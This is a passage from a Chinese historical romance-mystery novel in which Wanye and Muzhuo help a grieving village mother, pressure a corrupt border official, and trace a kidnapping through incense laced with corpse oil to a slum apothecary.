宛楪微微挑眉,斜睨了他一眼,嘴角似有若无地弯了弯,却又很快恢复平静:“哦?看来你倒是做了件好事。”
她径直走向那扇半掩的木门。
门后的女子一看到她,脸色瞬间变得惨白如纸。再望见她身后那道玄色身影,整个人像被抽去了脊梁骨,瑟缩成一团,如同被风刮折的枯苇,充满了恐惧与无助。
宛楪心中一阵酸楚,不由自主地放柔了声音:“莫怕。”
女子的眼眶早已哭得通红,声音颤抖着问道:“姑娘……可是身份暴露了?是、是要来带走我的孩儿吗?”
宛楪轻轻摇了摇头。她望着女子那惊惶失措的眼神,仿佛看到了多年前那个在棺材里拼命屏住呼吸的自己。
“不是的。”她轻声问道,“只是想问问——那副棺材,是怎么回事?”
话音刚落,女子的泪水如决堤的洪水般汹涌落下。
她哭诉时,声音被哽咽撕扯得支离破碎,每一个字都仿佛带着无尽的悲痛。宛楪静静地听着,眼前不禁浮现出那日棺中碎裂的骸骨——断茬参差不齐,骨面上清晰的齿痕触目惊心,确实不像是刀斧砍斫所致。
是犬齿留下的痕迹。
是被人纵犬活活咬死的。
门后小心翼翼地探出半个小脑袋。孩子约莫七八岁的模样,眼中满是惊惧,但
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紧紧抿着嘴唇,倔强地不肯后退。那股倔强的神色,像一把锐利的箭,直直刺进宛楪的心头。
“姑娘……”女子突然扑通一声跪地,泪流满面,“求您为我做主啊——”
宛楪望着她,喉咙像被棉絮堵住,一时竟说不出话来。她张了张嘴,正欲安慰,却又不知从何说起。
就在这时,一只手从她身后悄然伸来,虚虚护在她腰侧——没有真正贴上,只隔着半寸空气,却仿佛一道无声的承诺,给她带来一种莫名的安心。
慕酌的声音从头顶上方轻轻落下,沉稳如磐:
“我帮你。”
他停顿了一下,微微侧目望向宛楪,目光中带着不容置疑的坚定与一丝询问:“明日,咱们去会会那个官员,如何?”
宛楪与他对视了一瞬,那一瞬间,仿佛时间都为他们静止。
她缓缓转回脸,俯身轻轻扶起那女子。她的指尖微凉,语气却沉稳而坚定:
“放心。此事交予我们。”
她没有说“我”。
而是“我们”。
离开村落时,天色已经完全擦黑。
两人并肩走在田埂上,沉默在他们之间蔓延,如同一条深邃的河流。夜风轻轻拂过,带着泥土解冻的潮气,混合着若有若无的草根腥甜,仿佛在诉说着大地复苏的故事。慕酌的脚步刻意放得很慢,慢到刚好与她并肩,却又始终落后半步。
那半步的距离,宛如一道薄冰——他只需再向前迈出一点,便能与她齐肩;然而,他却始终小心翼翼地留着这半步,不敢轻易踏破,仿佛害怕惊扰到这份微妙的情感平衡。
南国边境的客栈灯火辉煌,人声鼎沸。他们在角落里找了个位置坐下,伙计热情地过来擦拭桌面,摆放杯盏。慕酌点了两碟小菜,又要了一壶温酒。
酒缓缓斟入杯盏,他轻轻将那只杯盏往她手边推了推。指尖在桌沿轻轻一触即离,迅速退回自己的暗影里,仿佛刚刚那一瞬间的触碰,是一个不能言说的秘密。
“别难过了。”他轻声说道,声音在周遭的喧闹声中显得格外轻柔,如同落在深潭的一片羽毛,“明日便去处理。我不会让你失望。”
宛楪微微颔首,却没有端起酒杯。她只是静静地望着杯口氤氲的白雾,目光仿佛穿越了时空,飘得很远很远。
烛火在她侧脸投下明灭的光影,睫羽的阴影在颧骨处轻轻颤动,宛如蝴蝶轻轻敛翅,每一次颤动都仿佛在诉说着内心的波澜。
慕酌静静地望着,心中涌起一股冲动,想要伸手,抚平她眉间那道细不可察的折痕。
然而,他只是缓缓垂眸,默默饮尽杯中冷酒,将这份冲动深埋心底。
窗外,南国的夜静谧流淌。雾气从江面缓缓升起,如一层轻纱,将月光洇成一片朦胧的白。客栈里的喧闹声仿佛隔了一层水,变得遥远而不真切,仿佛整个世界只剩下他们两人。
宛楪的眼睫终于轻轻动了动。
她没有转头看他,只是轻轻开口,声音如同自语:
“又要起风了。这风,不知会带来什么。”
慕酌轻声应了一声,目光看向窗外的雾气。
他的影子在墙上与她的影子只有半寸之遥,烛火摇曳时,两个影子便短暂地交叠在一起,随后又缓缓分开,恰似那日冰面上,她侧脸时,他来不及收回的目光,短暂交汇后又各自回归寂静。
他没有问她在想什么。她也没有说。
但彼此都明白,这一夜过后,他们又将一同踏入新的暗流——而在那之前,能这样并肩坐着,倾听对方的呼吸声与满堂喧嚣,已然是风雪途中,难得的安宁与温暖。
99. 你究竟是真的心怀天下?
客栈内,木门悄然合上,发出一声几不可闻的闷响,仿佛将外界的喧嚣隔绝在了另一个世界。
宛楪拖着疲惫的身躯,未点灯烛,在黑暗中摸索至床边,和衣而卧。靴尖还悬在榻外,她便觉全身的力气似被一股无形的力量抽空。
连日来的奔忙,那户人家女子悲戚的哭诉,孩子满是恐惧与不甘的眼神,如同一块块沉甸甸的铅石,紧紧压在她的胸口。她缓缓闭上双眼,呼吸逐渐沉重,在寂静的房间里一起一伏,恰似夜潮轻柔地拍打着无人问津的渡口。
门被轻轻推开,那声音细微得如同雪花飘落于宣纸之上。慕酌静立于门槛边缘,并未即刻迈入。他稍作停留,待眼中复杂的情绪悄然收敛,恢复如常,才缓缓跨过那道低矮的门槛。手中的烛台,火苗如薄纱般摇曳,将他的眉眼映照得愈发柔和,也让他的每一步都显得小心翼翼,仿佛生怕惊扰了地上那层仿若霜华的静谧。
他轻轻靠近床边,摇曳的烛光先他一步,落在宛楪侧卧的身姿上,细细勾勒出她眉骨的优美弧度、眼下淡淡的青痕以及被枕褥压得略显凌乱的鬓发。他静静地伫立在榻旁,低头凝视着她,呼吸不自觉地放轻,似是既怕惊醒了她,又好似只是贪恋这片刻的宁静。
“宛楪。”他轻声呼唤,声音低到极致,宛如生怕惊落了檐角堆积的雪花,“南国边境如今的改变,你是亲眼看到的。”
她的睫毛微微颤动,那双眼睛睁开时,没有初醒时的迷茫,而是透着澄澈的清明,显然她方才一直醒着。宛楪静静地望着他,并未起身,烛火在她的瞳仁里凝聚成两点清冷而明亮的光。
“慕酌。”她轻唤他的名字,声音平淡而沉稳,“那日你掐住我的脖颈,欲置我于死地,是不是因为这张脸,与某个人相似?”
慕酌的神色瞬间一紧,仿佛被一只无形的手狠狠揪住了心脉。他低下头,烛火在他低垂的眉骨下投下一片暗影。
“我并非有意如此……当时事出紧急,实在是情非得已。”
她只是静静地望着他,沉默如同丝线,一根又一根地缠绕收紧。
最终,他在她的目光下败下阵来,声音低得几乎被呼吸淹没:
“你……长得太像我的阿姐了。”
宛楪唇角浮起一丝似有若无的弧度,那绝非笑意。
“若与你阿姐相像,”她轻声说道,“你便动了杀心?”
烛火猛地跳动了一下。
慕酌陷入沉默,那沉默如漫长的凌汛,冰层之下涌动着他难以言说的暗流。他紧紧抿着唇,终究没有再开口。
宛楪亦不再追问,缓缓阖上双眼,呼吸逐渐平稳,仿佛将这一问与可能的答案都隐匿于梦境之中。
屋外,北风陡然凄厉起来,如同一头愤怒的野兽,疯狂地咆哮着撞击窗棂,从每一道细微的缝隙中钻进来,将烛火肆意撕扯成狂舞的碎片。
光影在墙壁上剧烈摇晃,宛如万千幽魂攀附而上,又瞬间坠落。昏黄的光晕里,慕酌缓缓蹲下身子,在榻边轻轻跪下。
膝盖触地时悄然无声,他将前额轻柔地抵在榻沿,距离如此之近,近到能够清晰地听见她绵长的呼吸,近到她鬓边一缕细碎的发丝垂落,几乎要拂过他的手背。
他就这样静静地凝视着她,眼神中满是复杂的情感,似是望着一场失而复得的绮梦,又似是望着一条永远无法跨越的河流。
宛楪的呼吸愈发均匀,眼睫安稳地覆盖着,偶有烛风吹过,轻轻颤动,恰似蝴蝶在暮色中敛翅停歇。
慕酌望着那颤动的眼睫,良久,他微微启唇,声音极轻极轻,似是怕惊扰了什么,又似只是说给自己听:
“姐姐……对不住。”
他微微偏过头,望向窗棂外那片浓稠如墨的夜色。黑暗无情地吞噬了远处的山峦与近处的树木,吞噬了来时的道路与未知的归途,唯有几片残雪在窗纸上映出淡淡的白色轮廓。
寒风顺着衣领灌了进来,沿着脊背蜿蜒而下,凉意沁入骨髓。
他低下头,近乎呢喃:
“马上……便是我二十岁的加冠礼了……”
翌日,那官员的府邸气派轩敞,廊下悬挂着数盏绘金纱灯,微风拂过时,发出泠泠悦耳的声响。
慕酌与宛楪并肩踏入正堂。官员正翘着二郎腿坐在上首,指节有一搭没一搭地叩着桌沿,目光傲慢地从两人面上扫过,嘴角挂着一抹不耐烦的冷笑,仿佛在打发两个走错了门的下人。
慕酌不急不缓地走到他身侧,俯下身去。官员眉梢挑得更高,正要开口斥退——却听那声音贴着他的耳廓落下来,轻得如同刃尖划过薄绢:
“建元三年冬,您在陇西驿馆收过一只紫檀木匣。匣底夹层里那方绣着并蒂莲的旧帕子,如今还在书房暗格中么?”
话音未落,官员的脸色已惨白如纸。他猛地抬起头,瞳孔急剧收缩,像见了什么不该现世的不祥之物,连唇上的髭须都抑制不住地微微颤抖。张了张嘴,喉间滚出的却只有半截破碎的气音:“你、你是……”
慕酌已直起身,退后一步,袖手静立。神色清淡,如同方才只是道了一句“今日天凉”。
官员霍地站起身,手忙脚乱地整了整衣冠,几乎是踉跄着绕过桌案,直扑到宛楪跟前。那腰弯得极低,几乎要折成两截,声音里带着压不住的抖:“下官有眼无珠,竟不知是贵府上的女君亲临,多有怠慢,多有冲撞……”他抬手想搀又不敢搀,只将袖子反复抹着桌边的椅背,“这正堂阴冷,女君请上座,快请上座——来人,还不将今春新贡的六安茶沏来!”
宛楪垂眸看他。那目光极静,不避不让,却也无一字回应,仿佛只是收着一地狼藉的残雪。她不说话,他便不敢住口,越发语无伦次地赔起罪来,额角渐渐沁出细密的汗珠。
堂中只闻官员一人干涩的声音,与窗外落雪的簌簌轻响。
慕酌开口,声音虽不高,但字字掷地有声:
“你将家财散尽,在城外购置田舍,安置那些流离失所的百姓。”
他稍作停顿,微微侧目望向宛楪,那一眼极短,旁人难以察觉。但他的目光落在她的眉间,仿
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佛在无声询问:如此安排,你可满意?
宛楪垂下眼眸,片刻后,轻轻颔首。
走出府门,天光澄澈明亮,积雪在檐角闪烁着细碎的银光。宛楪停下脚步,转身看向慕酌。
“你为何要帮他们?”
慕酌微微一怔,似乎没想到她会有此一问。
她凝视着他,目光并非咄咄逼人,而是平静而深邃,仿佛要穿透他的灵魂:“这样的事在世间并不少见,可为何偏偏——你帮了我想帮的人。”
她稍作停顿。
“你究竟是真心存善,还是仅仅做戏给我看?”
微风拂过廊下的残雪,扬起细尘般的冰晶。
慕酌迎着她的目光,此刻,他的眼中没有丝毫躲闪,没有任何权衡,只有一种近乎笨拙的郑重。
“我日后,”他一字一顿地说道,“必定善待百姓,绝不让他们再经历战乱之苦。”
宛楪静静地望着他,片刻后,轻轻一笑,那笑意极淡,宛如檐角将融未融的残雪。
“经历了北国的皇位之争,”她说,“愈发觉得人心叵测。”
她微微侧首,看似随口一问,却又似终于忍不住试探:
“你日后……该不会也想做皇帝吧?”
慕酌的脸色瞬间骤变,那变化如同冰面陡然裂开一道细纹,迅速而突兀。他没有回答,嘴唇紧紧抿成一条苍白的线。沉默如潮水般蔓延开来,淹没了他眉间的每一丝情绪起伏。
宛楪望着他的沉默,没有再追问,只是收回目光,转身踏上了来时的路。
回客栈的途中,天空忽然飘起了雪花。起初只是稀稀落落的几点,落在发顶便瞬间融化。不一会儿,雪渐渐密集起来,纷纷扬扬,如漫天飞舞的柳絮,将远处的山峦与近处的树木都笼罩在一片迷蒙的洁白之中。
两人并肩前行,雪花悄然飘落,唯有靴子踩在新雪上发出的簌簌轻响,如同夜蚕啃食桑叶,细碎而连绵不绝。宛楪的肩头落了薄薄一层白雪,慕酌的目光不由自主地落在那里,那片雪在她肩侧的衣料上缓缓融化,洇出一小块深色的湿痕。
他下意识地抬起手,指尖探出袖口,穿过纷纷扬扬的雪片,距离她的肩头不过三寸——
却骤然停住了。
那三寸的距离,他终究没有跨越。
他就那样举着手,宛如一尊忘记收回姿势的塑像。风裹挟着雪片扑打在他的手背上,丝丝凉意沁入肌肤,他却浑然不觉。
片刻后,他缓缓垂下手臂,指尖蜷缩回袖中,仅存的余温也渐渐散尽。
宛楪没有回头,她始终望着前方,望着雪幕深处影影绰绰的客栈檐角。只是她的步伐,似乎比刚才更慢了一些。
雪越下越大,两人就这样默默走着,中间隔着一臂的距离,却又近得能听见彼此的呼吸。那呼吸在寒冷的空气中凝结成淡淡的白雾,相互纠缠、弥散,最终融入漫天飞舞的雪花之中。
谁都没有开口,唯有雪花飘落的簌簌声,在静谧的空气中回荡,仿佛在诉说着那些难以言说的心事。
100. 第100章
客栈的晨光总是来得格外迟。
窗纸透进的天色是灰蒙蒙的,像浸过水的旧绢,将屋内陈设都染上一层褪了漆的质感。四角垂落的帐幔是褪色的秋香褐,桌案上的茶盏残留隔夜的冷渍,连空气都凝滞如未化的薄冰。
宛楪立在榻边,将叠好的衣物一件件放入行囊。动作很轻,轻得像怕惊醒什么。
其实没什么可惊醒的。
该醒的早已醒了。
她垂着眼,指腹抚过最后一件外衫的缎面——那还是北国时添置的料子,银鼠灰的光泽在晨霭里泛着幽幽的冷,袖口绣着极淡的忍冬纹,针脚细密匀净,是她的手艺。那时以为要在北国待很久,久到能穿坏几件冬衣,久到忍冬纹能在风沙里褪成灰白。
如今冬衣如新,她却要走了。
行囊收束,麻绳勒进掌心,勒出一道淡红。宛楪直起身,目光掠过窗棂、桌案、那把空了一夜的椅子。
他没有回房。
或者说,他回来过。她听见后半夜有极轻的脚步停在门外,靴底压着楼板的细响,像夜鸟收翅时蹭过瓦檐。停了很久很久,久到她屏住呼吸,久到檐角积雪化成水滴,一滴,两滴,像更漏,像催行的鼓点。
然后那脚步声退去,没有叩门。
她也没有睁眼。被衾下,指尖攥皱了那一角寝衣。
此刻晨光终于透进来一些,从窗格的缝隙斜斜漏入,将她的影子拉得细长,投在地板上,像一道未干的墨痕,像宣纸上迟迟没有落款的那一笔。宛楪望着那道影子,忽然想:离开之后,大约再不会有人站在她影子的边缘,半步之遥,不进不退,进不敢近,退不舍离。
这样也好。
她提起行囊。麻绳微微勒紧虎口,木扣轻撞,一声闷响。
门却在此时被叩响。
不是他的手,慕酌叩门向来轻,指节曲起时总要缓一缓,像怕惊落尘埃,怕惊破一室未醒的寂静。这叩门声急促而慌乱,夹杂着粗重的喘息与靴底摩擦地砖的刺耳声响,像溺水者拍打浮木,像濒死的人抠着门缝。
宛楪放下行囊。
她走得很慢,每一步都踩在自己平稳的呼吸上。门闩抽开的那一瞬,一团灰扑扑的人影直挺挺扑倒在她靴前。
是昨日那官员。
他的官服皱成一团隔夜腌菜,领口歪斜,露出一截青灰的中衣;幞头早不知滚去了何处,几茎花白的乱发贴在被冷汗濡湿的额角,黏成狼狈的绺。他趴跪在地上,十指死死扣着地砖缝隙,指甲劈裂,渗出血丝,肩胛骨剧烈起伏,像一条被甩上堤岸的鱼,鳃张翕,喘息里带着喉间压不住的水声。
“大人——大人救命——”
他的嗓音完全破了。那不是哭,是哽咽,是气堵在胸腔里寻不到出口,是一把锈锁强行撬开后发出的嘶哑哀鸣。他一遍遍重复那三个字,额头叩在地砖上,发出沉闷的咚咚声,每一下都将皮肉撞得发红。
宛楪垂眸望着他。
她没有后退,也没有扶。只是安静地等,像等着风雪过去,等着潮水退尽,等着他终于从那惊惧的漩涡里捞出一句完整的话。
“小女……小女被人掳走了……”
他说不下去了。喉间滚出一声哽咽,像被撕破的风箱,像冬日冻裂的瓦。那哭声压抑了太久,从昨夜子时便堵在胸腔里,一寸一寸磨着他的脏腑,此刻一旦泄出便止不住,将他的脊背压成一张弓,弦将断,骨将折。
宛楪的指尖动了动。
她抬眼,望向门外。
慕酌立在廊柱的阴影边缘。不知何时来的,或许从第一声叩门时便在,或许更早——从她点亮这盏晨灯时,从她将最后一件外衫折进行囊时。他望着她,目光从她沉静的眉眼滑落,滑过她微微蜷起的手指,滑过地上那只捆扎停当的行囊,又滑回来,落在她面上。
他没有问什么。
只是上前一步。
就一步。
那一步越过廊柱的阴影,越过晨光与暗的交界,越过他守了整夜的那条线。他落定在她身侧,袖口几乎触着她的袖口。
“细说。”他道。
声音不高,像压着千钧的铁,像秋日收割后的旷野,空旷、寂寥,却将官员的哭嚎生生截断。
官员伏在地上,肩头仍在颤抖,但终于能开口了。他断断续续地讲述,像溺水者攀附浮木:昨夜,子时,小姐在后院绣楼安寝。丫鬟起夜时见窗扉半开,月光铺了满地,床帐里空空荡荡,被褥尚有余温,枕上还残留着女儿家发油的香气。院里没有足迹,没有挣扎痕迹,守门的家丁一无所觉。只在枕边留下一物——
他颤巍巍从怀中取出一方帕子。
那双手抖得厉害,像深秋枝头最后一片悬而未落的叶。帕子是粗葛布的,灰白色,边角毛糙,烧焦了一圈,像被什么灼过,又像被谁从火中抢出。正中绣着一朵极小的花,花瓣五出,针脚拙劣,歪歪扭扭,像孩童第一次握针时留下的习作。
官员说,这不是他女儿的东西,不是府中任何人的东西。
他认不出。
但慕酌认出了。
他接过帕子的那一刻,指尖骤然收紧。粗葛布在他掌心皱成一团,边缘的焦痕碎成细屑,那朵拙劣的小花几乎被碾碎。他垂着眼,看不出神情,只是下颌的线条绷成一道刀锋,喉结滚了滚,像咽下什么刺喉的东西。
宛楪望着那方帕子。
北国。那间荒废的药庐。地窖里浓稠如浆的黑暗,几乎要黏住眼睫。空气中挥之不去的甜腻腐臭,像熟过头的杏子烂在泥里,像搁置太久的旧棺木被撬开一角。角落里蜷缩的身影,衣襟上绣着歪歪扭扭的花。
她闭了闭眼。
再睁开时,眸光已平。
“证物留下。”她听见自己的声音,平静得像在说今日天气,像说案上新沏的茶凉了,“你先回去,安抚家眷。有消息,自会知会你。”
官员抬头,红肿的眼望着她,像望着一根救命稻草,望着一线将熄未熄的烛火。他嘴唇翕动,想说什么,想叩首,想抓住她的衣角,最终只是深深俯首,额头贴着地砖,良久,良久。
然后踉跄离去。
门合上。
室内重归寂静。四壁拢着那团残破的空气,窗棂的影子横在地上,像一道一道栅栏。
宛楪没有看慕酌。她望着桌上那方粗葛帕子,望着那朵歪歪扭扭的花。晨光一寸一寸移过来,落在每一道拙劣的针脚上,照得纤毫毕现——针脚疏密不均,起针处打了个笨拙的死结,收针时线尾拖出长长一截。那是孩子的手。是没能长大的孩子的手。
“为何南国也会出现这种东西?”她问,声音很轻,像自言自语,像怕惊破一个不敢深想的梦。
慕酌没有答。
她侧过脸,望向他。晨光将他的半边脸庞镀成淡金色,另半边隐在暗里,像一张未完成的拓片,眉眼都洇在晦明之间。他的沉默太久了,久到她几乎听见自己的心跳。
“这不是北国的邪术吗?”
他的侧影立在窗边,下颌的线条收得很紧,像咬着什么不肯松开。沉默持续了很久,久到窗外有鸟雀扑棱棱掠过檐角,久到檐下残冰坠下最后一滴融水。
“我也不知。”
他的声音低哑,像砂纸磨过木纹,像冬日枯枝在风中摩擦的细响。
宛楪望着他。
她本已收拾好行囊。她本已想好辞别的话语,字斟句酌,温和而疏淡,像隔着一层纱窗说话。她本已说服自己:此后山长水远,各自珍重,便是最好的结局。这些年她已学会如何妥帖地放下。
可那方粗葛帕子静静躺在桌上,边缘烧焦,针脚稚拙,像一个孩子笨拙而认真地绣下那朵花,像一双小手曾在昏暗的油灯下一针一针,期待什么人会看见。
她忽然想起北国地窖里那双眼睛。
浑浊、涣散,像积了灰的琉璃珠。却在望见光亮时亮了一瞬——像将熄的烛火,挣扎着最后跳了一下,像被风吹散的纸烬里最后一颗火星。
她将那帕子拿起来。
指尖触到粗粝的葛布,触到焦痕处细碎的黑屑。她将帕子折好,边角对齐,收入袖中。隔着衣料,那方帕子贴着腕骨,轻得像没有重量,却沉得像坠着千钧。
她没有再提辞行。
那方粗葛帕子,慕酌翻来覆去看了不下数十遍。午后的光从窗格漏进来,一格一格铺在他肩头,将他的侧影刻成一道薄薄的剪影,眉骨、鼻梁、下颔,一笔一笔如墨线勾勒。他举着帕子对着光,眉头蹙得很紧,像要从那些歪斜的针脚里读出暗藏的密语,从焦痕的深浅里推算燃烧的时长。
帕子边缘的焦黑不是寻常烛焰的形态——太均匀,太规整,边缘没有焰舌舔舐的尖锋,而是一道平缓的弧线,像被什么高温的细物长久地、耐心地灼过。
宛楪立在一旁,没有打扰。
她发现慕酌查案时像变了一个人。那些欲言又止的踌躇,那些半步之遥的进退,在此刻尽数收敛成刀锋般的专注。他的指尖抚过帕子边缘的焦痕,一遍又一遍,像在丈量某道看不见的伤口,像在叩问一个沉睡了太久的名字。指腹压得很轻,却带着不容置疑的笃定。
“烧痕是新的。”他开口,声音低而沉,像石子投入深井,“但用的不是烛火。”
宛楪凑近。
粗葛布边缘的焦黑没有烛焰舔舐的尖锋,而是一道平缓的弧线,均匀如墨笔勾勒。她伸手轻触,指尖传来极细微的硬结,像露水凝在叶尖,像霜花结在窗棂。
“是香。”
她抬眼,对上慕酌的视线。他正望着她,目光相触的那一瞬,像两只夜航的船在渡口错身。
“敬神的长香。”她说,声音平稳如静水,“香灰落上去,慢慢灼,一点一点,才能灼成这样。不是焰,是灰。是余烬。”
慕酌颔首。他的目光在她面上停了一瞬——只一瞬,像檐角风铃被风掀起又落下——旋即移开,落向窗外。
窗外暮色渐起,天边烧成一片鸦青与淡金。
“南国边境没有大庙,”他道,
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“香火最盛的是城外三里的娘娘庙。”
他没有问她为何知道那是香。她没有问他为何知道那是娘娘庙。有些话不必说透,像旧书页里夹的花笺,只需知道在那里便足够。
宛楪没有问“你怎知”。她只是提起行囊——那本该用来离开的行囊,麻绳还勒着她掌心的旧痕——率先走向门口。
身后,慕酌的脚步顿了顿。
她听见他轻轻吸了口气,像将什么话咽回去,像将到喉间的一缕叹息生生捺下。然后那脚步声跟上来,不近不远,一臂之遥。
像从前。像从前许多次。
青瓦白墙,檐角斑驳,瓦缝里生出几茎枯草,在风里瑟瑟地抖。檐下悬着锈迹斑斑的风铃,铜绿爬满铃身,只剩中央一小块还泛着暗哑的金。暮色四合时,风铃在薄暮中轻轻摇曳,发出喑哑的声响,像老人咳了许久的喉咙,像旧门轴转动的呜咽。
庙中香客寥寥。
暮霭从敞开的殿门漫进去,与缭绕的香烟搅在一起,将泥塑金身的娘娘面容氤氲成一片模糊的慈悲。供桌上蜡泪层层叠叠,旧泪未干,新泪又覆,凝成灰白的烛山。
慕酌与宛楪分头行事。他走向东偏殿,向庙祝问询;她停在正殿香炉前。
铜制的大香炉,腹深口阔,炉壁被香客的手掌摩挲得锃亮。炉中积着厚厚的香灰,灰白色,细腻如粉,像沉积多年的雪,像被岁月碾碎的骨。宛楪用帕子裹着手,轻轻拨开表层——
灰烬下有未燃尽的香梗。
她拈起一根。不是寻常的线香,粗短如孩童的手指,质地更密实,烧过的一端呈深褐色,边缘微微卷曲,像晒过太久的树皮。她凑近闻了闻,没有浓烈的檀麝,只有一缕极淡的枯涩,像深秋晒干的艾草。
她将这香梗收入袖中,贴着那方帕子。
慕酌那边一无所获。
他回来时眉间压着淡淡的倦,像墨汁滴进清水,晕开一圈又一圈。庙祝年逾七旬,耳背目昏,背驼得像一张旧弓,问三句答不上一句。只说上月有香客捐过一批线香,说是自家制的,供在偏殿。那人穿着寻常青布袍,戴着斗笠,檐压得很低,相貌年纪全无印象,连说话口音都听不真切。
两人走出娘娘庙时,天色已黑透。
山风凛冽,从谷底呼啸而上,卷起庙前纸钱残屑,在半空中盘旋如倦鸟,如迷途的蝶。碎纸片扑上他们的衣袂,又打着旋落开去,归于尘土。
宛楪拢了拢衣襟。那截香梗贴着腕骨,凉意丝丝渗入,像一根细不可见的线,另一端牵在无人知晓的暗处。
“香灰是柏木混了艾草。”她开口,声音被风吹散了些,像扯碎了的棉絮,“寻常人家驱邪避祟用的,南边北边都用这方子。”
慕酌侧目望她。
“但里头掺了别的东西。”她顿了顿,垂眸,将那截香梗取出,借着庙檐下残破的灯笼光。那光昏黄如陈酒,映在她指间那截焦黑的短梗上,照出边缘细密的反光。“烧过之后,边缘有油迹。不是松脂,不是蜡——”
她将香梗递给他。
慕酌接过的瞬间,指尖触到她的。她的手指冰凉,像浸过井水的玉,像深秋子夜凝在瓦上的霜。他没有立刻收手。就着那短暂的相触,他低头端详那截焦黑的香梗。
他的呼吸很近,拂在她手背上,温热而轻,像一片羽毛落下来。
须臾,他松开。
“尸油。”他道,声音压得极低,低得像怕惊动什么,像只在唇齿间滚过一道便咽回去。
宛楪没有惊惶。从见到帕子上焦痕的那一刻,她便隐隐有了猜测。她没有抽回手,只是任由那片刻的余温在手背散去。然后将那截香梗重新包好,收入袖中。
“药人的炼制需尸油为引。”她平静道,像说一册泛黄卷宗里的旧事,像说久远到已与自己无关的传闻,“北国那间药庐的地窖里,我闻过那味道。甜腻,腐熟,像烂透的果子。”
慕酌沉默。
沉默里藏着太多他不能说、不敢说、不知从何说起的话。他望着她收香梗的动作,望着她平静如水的侧脸,望着她低垂的眼睫在风中轻轻颤动——那样轻,像蝶翼,像他将将要出口的话。
他忽然想问。
问她那地窖里还有多少她不曾言说的事。问她那些夜里她是否也曾惊醒,被那甜腻的腐臭追着逃回白日。问她那些轻描淡写的语气底下,藏着多少他无从得知的过往。
但他没有问。
他早已过了有权追问的年岁。他早已将她归还给人海,早已将那些话埋进无人知晓的角落,年深日久,覆满青苔。
他只是望着她。
夜风穿过廊庑,将檐下残灯吹得摇摇欲灭。灯影憧憧,在他们之间明明灭灭,像隔着一条渡不过的河,像隔着十余年不肯回望的光阴。
宛楪垂着眼,指尖在袖中触着那方帕子,触着那朵歪歪扭扭的花。
她没有抬头,也没有开口。
她知道他望着她。
她只是将袖口拢得更紧了些。
101. 坦白
线索指向城南。
边境小城的南隅是贫民窟。
从正街拐入巷口,像掀开一匹华丽锦缎的背面——逼仄的巷道如蛛网交织,檐角压着檐角,檐下晾晒的破旧衣衫滴着隔夜的雨水,在青石板上洇出一摊摊深色。天光被挤成细长的一线,从屋檐的缝隙漏下来,像一道将断未断的丝。空气中飘荡着陈年积灰与劣质油烟的混浊气息,混着墙角阴沟里泛起的腐臭,浓稠得几乎能黏住呼吸。
偶有野猫蹿过,带倒墙边的破瓦罐,哐啷声响在窄巷里滚来滚去,惊起檐下栖息的鸦雀,扑棱棱掠过灰濛濛的天空。
慕酌走在前。
他走得很慢,每一步都像在丈量——不是丈量路途,是丈量那些常人不会留意的细节。他留意墙角新培的泥土:湿的,翻起处呈赭红色,是这两日新掘。他留意门扉上悬着的锁:多数锈迹斑斑,锁簧间积着陈年的灰,唯独西侧第三家的锁鼻磨得锃亮,有人频繁开合。他留意窗缝里飘出的气味——饭食的焦糊、柴烟的呛烈、腐水的腥臭,还有一丝极淡的甜腻,像夏日搁久了的果脯,正在缓慢地烂进核里。
他停下来。
那是巷底的一间铺子。门板紧闭,木纹被岁月打磨得看不出本来颜色。门楣上没有匾额,只有两道交叉贴过的封条残迹,早被风雨撕得只剩边角。檐下挂着一盏气死风灯,灯罩蒙了厚灰,透不出光,灯座里积着小半盏陈年的雨水,水面浮着一层锈色。
与周遭民居不同,这家门缝里没有飘出炊烟,没有孩童嬉闹的声气,甚至没有犬吠经过时会凑近嗅闻的动静。它像一只紧闭的嘴,把所有的秘密都吞进了喉底。
太静了。
静得那些巷陌杂声——瓦罐滚地、野猫嘶叫、妇人隔着竹竿骂架——到了这门前,都像被无形的壁障隔开,成了很远很远的事。
慕酌抬手,指节叩在门板上。
三声。笃,笃,笃。
像石子投进枯井,空响回旋片刻,沉入更深的静默。
无人应。
他又叩三声。这回压得更轻,像只是知会门后的人:我来了,我知道你在。
门缝里传出极轻的窸窣声。
那声响压得那样低,像衣料擦过木缘,像赤足踩过蒙尘的地砖,像呼吸被生生捺回胸腔。旋即归于死寂。
慕酌不再叩。
他向后退半步,侧身,对上宛楪的视线。
不必言语。他们之间早过了需要言语的时辰。
宛楪上前。
她的动作极轻,像水纹漫过堤岸。袖中滑出薄如蝉翼的刃片——那是她贴身藏了多年的旧物,刃口闪着幽冷的微光,像蛇的信子。她探入门缝,刀身贴着锁簧游走,如鱼穿行水草。
锁簧年久失修,铜绿爬满了每一道纹路。她只轻轻一拨。
咔哒。
那轻响细得像一枚松果从枝头坠落。
门开了一道缝。
浓重的药气扑面而来。
不是寻常药铺那种清苦的草木香,而是混着霉烂、陈朽、还有那股熟悉的甜腻腐臭——比北国地窖里淡一些,却如出一辙。像熟透坠地的杏子,在烈日下暴晒三日,皮肉溃烂,汁水渗进泥土,招来成群的蝇虫。
慕酌率先进去。
他没有回头,但右手向后探了探——不是牵,不是握,只是探到恰好能感知她存在的距离。指节微曲,像等什么落进来。
宛楪没有握。
但她跟上了那半步。
屋内没有点灯。暮色从敞开的门扉涌入,将室内陈照成黑白剪影,像一幅未及晕染的水墨。柜台横在门边,台面落了厚灰,有人用指腹划出过几道痕迹——是搬动重物时留下的拖曳印。药柜靠墙而立,高及横梁,一格一格如蜂巢密布。缺了耳的陶炉倾倒在地,炉口黑漆漆的,像一张永远合不上的嘴。
药柜的抽屉东倒西歪。有几格半敞着,像人半张的唇。里面空空如也,连残存的药屑都被人细细扫尽,只在抽屉底部留下一道浅浅的白痕——是多年盛药、木料被药气浸出的痕迹。
宛楪点亮火折子。
火镰叩击三下,火星溅落。微弱的光晕从她指尖推开,一寸寸舔过墙壁。墙皮大片剥落,露出内里的土坯。那些剥落不是年久失修——边缘齐整,像被人用利器刮去。刮去的土层之下,土坯颜色深一块浅一块,呈赭褐与暗红交杂的纹路,像干涸的河床,像——
陈年的血渍。
墙角堆着几只麻袋,袋口用粗麻绳扎紧,绳结打法利落,是惯于此道的手笔。袋身透出细微的霉味,不是潮湿沤出的青霉,是干燥陈腐的霉,像压箱底多年的旧衣。
慕酌蹲下。
他解绳结的手法很慢,指腹压着麻线的走向,一圈一圈绕开。宛楪将火折凑近些,光晕落在他的指节上。
绳结松了。
他解开袋口。
